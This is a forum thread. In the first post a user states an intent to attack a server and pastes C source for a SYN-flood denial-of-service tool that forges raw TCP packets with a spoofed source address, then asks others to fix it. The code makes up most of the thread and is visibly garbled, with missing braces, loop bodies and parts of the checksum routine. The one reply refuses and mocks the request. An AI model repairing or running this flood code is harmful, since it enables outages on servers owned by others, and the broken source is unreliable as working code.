Results 1 to 2 of 2

Thread: help me about SYN Flood

  1. #1

    help me about SYN Flood

    can anyone please help me this problem?
    suppose i have 2 hosts : host1( and host 2( also a DNS server with name ""
    I have a code to attack server but i dont understand about socket programming so can anyone help me to fix the code i given following
    thank advance for help
    Syn Flood DOS with LINUX sockets
    #include<netinet/tcp.h> //Provides declarations for tcp header
    #include<netinet/ip.h> //Provides declarations for ip header
    typedef struct pseudo_header //needed for checksum calculation
    unsigned int source_address;
    unsigned int dest_address;
    unsigned char placeholder;
    unsigned char protocol;
    unsigned short tcp_length;
    //char tcp[28];
    struct tcphdr tcp;
    unsigned short csum(unsigned short *ptr,int nbytes) {
    register long sum;
    unsigned short oddbyte;
    register short answer;
    while(nbytes>1) {
    if(nbytes==1) {
    sum = (sum>>16)+(sum & 0xffff);
    sum = sum + (sum>>16);
    int main (void)
    //Create a raw socket
    int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
    //Datagram to represent the packet
    char datagram[4096];
    //IP header
    struct iphdr *iph = (struct iphdr *) datagram;
    //TCP header
    struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
    struct sockaddr_in sin;
    struct pseudo_header psh;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(80);
    sin.sin_addr.s_addr = inet_addr ("");
    memset (datagram, 0, 4096); /* zero out the buffer */
    //Fill in the IP Header
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof (struct ip) + sizeof (struct tcphdr);
    iph->id = htonl (54321); //Id of this packet
    iph->frag_off = 0;
    iph->ttl = 255;
    iph->protocol = IPPROTO_TCP;
    iph->check = 0; //Set to 0 before calculating checksum
    iph->saddr = inet_addr (""); //Spoof the source ip address
    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
    //TCP Header
    tcph->source = htons (1234);
    tcph->dest = htons (80);
    tcph->seq = 0;
    tcph->ack_seq = 0;
    tcph->doff = 5; /* first and only tcp segment */
    tcph->window = htons (5840); /* maximum allowed window size */
    tcph->check = 0;/* if you set a checksum to zero, your kernel's IP stack
    should fill in the correct checksum during transmission */
    tcph->urg_ptr = 0;
    //Now the IP checksum
    psh.source_address = inet_addr("");
    psh.dest_address = sin.sin_addr.s_addr;
    psh.placeholder = 0;
    psh.protocol = IPPROTO_TCP;
    psh.tcp_length = htons(20);
    memcpy(&psh.tcp , tcph , sizeof (struct tcphdr));
    tcph->check = csum( (unsigned short*) &psh , sizeof (struct pseudo_header));
    //IP_HDRINCL to tell the kernel that headers are included in the packet
    int one = 1;
    const int *val = &one;
    if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
    printf ("Warning: Cannot set HDRINCL!n");
    //while (1)
    //Send the packet
    if (sendto (s, /* our socket */
    datagram, /* the buffer containing headers and data */
    iph->tot_len, /* total length of our datagram */
    0, /* routing flags, normally always 0 */
    (struct sockaddr *) &sin, /* socket addr, just like in */
    sizeof (sin)) < 0) /* a normal send() */
    printf ("errorn");
    //Data send successfully
    printf (".");

  2. #2
    redhead's Avatar
    Join Date
    Jun 2001
    Copenhagen, Denmark
    And what is your problem with this copy/paste code you're showing us ??
    If you like help with issues like this, I wouldn't recomend asking about DDOS help regarding fixing a code portion you clearly have no idear what should do in the first place.
    Tell us what you've tried, what you want to achieve, what you see happening and what portion of it is making you cringe..

    This attitude in your initial question suggests to me that you're a 12 year old who thinks it would be great to be a leet Hax0r shoving your skillz with something found on the net and make a quick hack to achieve what is needed here and now, not a person who is truely interested in the use of sockets and how to achieve a knowledge in the underlying programming.
    Don't worry Ma'am. We're university students, - We know what We're doing.
    'Ruiat coelum, fiat voluntas tua.'
    Datalogi - en livsstil; Intet liv, ingen stil.

Similar Threads

  1. Qmail flood HELP!!!
    By datamike in forum Linux - General Topics
    Replies: 3
    Last Post: 08-20-2003, 05:06 PM


Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts